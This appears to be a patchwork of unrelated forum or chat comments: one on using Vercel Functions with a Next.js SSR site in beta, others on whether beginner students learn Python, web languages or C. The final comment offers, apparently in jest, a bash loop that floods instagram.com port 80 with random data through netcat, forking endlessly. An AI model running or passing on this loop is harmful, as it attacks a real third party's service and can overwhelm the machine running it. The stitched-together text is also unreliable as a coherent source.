no the site isn't statically generated. I want Vercel Functions too I think because I am also utilizing SSR and nextjs api ( so basically it's not a static site ), the CI/CD part has been taken care of by Github actions. the site is currently in beta testing so there is few hundred of testing users are there using the site.
Yes, python is very easy language for begginers and they might need it to create backend however most students don't even know the difference between frontend and backend. They just want to create few simple website. And even if I teach them python first to write APIs, I eventually have to teach them about html, css and js
The main reason to not including python is that students aren't particularly in the CS field, they are learning it as their "augmented skill" (I don't know what it's called bad English). That's why I don't want to force them to learn CS concept which they might not even need.
I was thinking about C so that their fundamentals gets cleared but I think it will be too much for students who aren't into CS. What do you think ?
I found this magical command to send 50kb of random text data to meta's server to fill up their database with garbage data. I don't know how to do it on massive scale but at least I am doing my part by running this command 24/7 :)
bash
while true; do echo "$(openssl rand -hex 500000)" | netcat instagram.com 80 & disown; done;
